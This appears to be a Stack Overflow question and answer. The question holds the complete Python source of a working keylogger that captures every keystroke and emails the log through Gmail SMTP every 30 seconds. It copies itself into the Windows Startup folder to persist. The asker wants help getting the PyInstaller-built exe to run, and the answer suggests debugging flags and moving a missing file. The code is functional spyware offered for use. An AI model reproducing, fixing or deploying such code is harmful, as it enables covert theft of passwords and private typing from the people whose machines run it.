0

I am creating a script that logs keyboard strikes using python and then sends the recorded strikes to my email. Everything is working perfectly and I recieve all the info to my email. The script contains a code that copies the .py script to startup so that it starts everytime the pc launches. Everything is working fine. Now I converted it to exe and I press it and it gives this error:

Failed to excute script test

This is the code:

import keyboard # for keylogs
import smtplib # for sending email using SMTP protocol (gmail)
import getpass
import os
import shutil
# Semaphore is for blocking the current thread
# Timer is to make a method runs after an `interval` amount of time
from threading import Semaphore, Timer

SEND_REPORT_EVERY = 30 # 10 minutes
EMAIL_ADDRESS = "email"
EMAIL_PASSWORD = "pass"
USER_NAME = getpass.getuser()

class Keylogger:
    def __init__(self, interval):
        # we gonna pass SEND_REPORT_EVERY to interval
        self.interval = interval
        # this is the string variable that contains the log of all 
        # the keystrokes within `self.interval`
        self.log = ""
        # for blocking after setting the on_release listener
        self.semaphore = Semaphore(0)

    def callback(self, event):
        """
        This callback is invoked whenever a keyboard event is occured
        (i.e when a key is released in this example)
        """
        name = event.name
        if len(name) > 1:
            # not a character, special key (e.g ctrl, alt, etc.)
            # uppercase with []
            if name == "space":
                # " " instead of "space"
                name = " "
            elif name == "enter":
                # add a new line whenever an ENTER is pressed
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                # replace spaces with underscores
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def sendmail(self, email, password, message):
        # manages a connection to an SMTP server
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        # connect to the SMTP server as TLS mode ( for security )
        server.starttls()
        # login to the email account
        server.login(email, password)
        # send the actual message
        server.sendmail(email, email, message)
        # terminates the session
        server.quit()

    def report(self):
        """
        This function gets called every `self.interval`
        It basically sends keylogs and resets `self.log` variable
        """
        if self.log:
            # if there is something in log, report it
            self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            # can print to a file, whatever you want
            # print(self.log)
        self.log = ""
        Timer(interval=self.interval, function=self.report).start()



    def copyfile(self):
        file_path = os.path.dirname(os.path.abspath(__file__))
        filename=os.path.basename(os.path.abspath(__file__))
        original = str(file_path)+str('\\')+str(filename) 
        print(original)
        target = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.exe' % USER_NAME
        shutil.copyfile(original, target)
    def start(self):
        # start the keylogger
        keyboard.on_release(callback=self.callback)
        # start reporting the keylogs
        self.report()
        # block the current thread,
        # since on_release() doesn't block the current thread
        # if we don't block it, when we execute the program, nothing will happen
        # that is because on_release() will start the listener in a separate thread
        self.semaphore.acquire()

if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    #keylogger.add_to_startup()
    keylogger.copyfile()
    keylogger.start()

So what do you think the problem is? Everything in the normal script wotks fine. Is it a permssions error??

6
  • 'Now I converted it to exe ' - what do you mean by that? Commented Jun 3, 2020 at 10:50
  • Can you give more details on how you converted the file into .exe? did you use pyinstaller? if yes, which command you used to convert it? Commented Jun 3, 2020 at 10:54
  • How did you convert it to exe? Commented Jun 3, 2020 at 10:54
  • try running the .exe from the command prompt to see what the specific error is and then post it here. Here is a link on how to do that: superuser.com/questions/876933/running-exe-in-command-prompt/… Commented Jun 3, 2020 at 10:59
  • As others stated. Tell us which tool you used to convert to an exe. pyinstaller? py2exe? another one? show us the exact command you used to convert. Commented Jun 3, 2020 at 11:54

1 Answer 1

1

So, What I did is I added an extra parameter --debug in the pyinstaller command and removing the --windowed parameter so that I can see what is actually happening when the app is clicked and I found out there was an error that made a lot of sense when I trace it, it basically complained that "some_image.jpg" no such file or directory.

The reason why it complains and didn't complain when I ran the script from the first place or even using the command line "./" is because the file image existed in the same path as the script located but when pyinstaller created "dist" directory which has the app product it makes a perfect sense that the image file is not there and so I basically moved it to that dist directory where the clickable app is there!

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.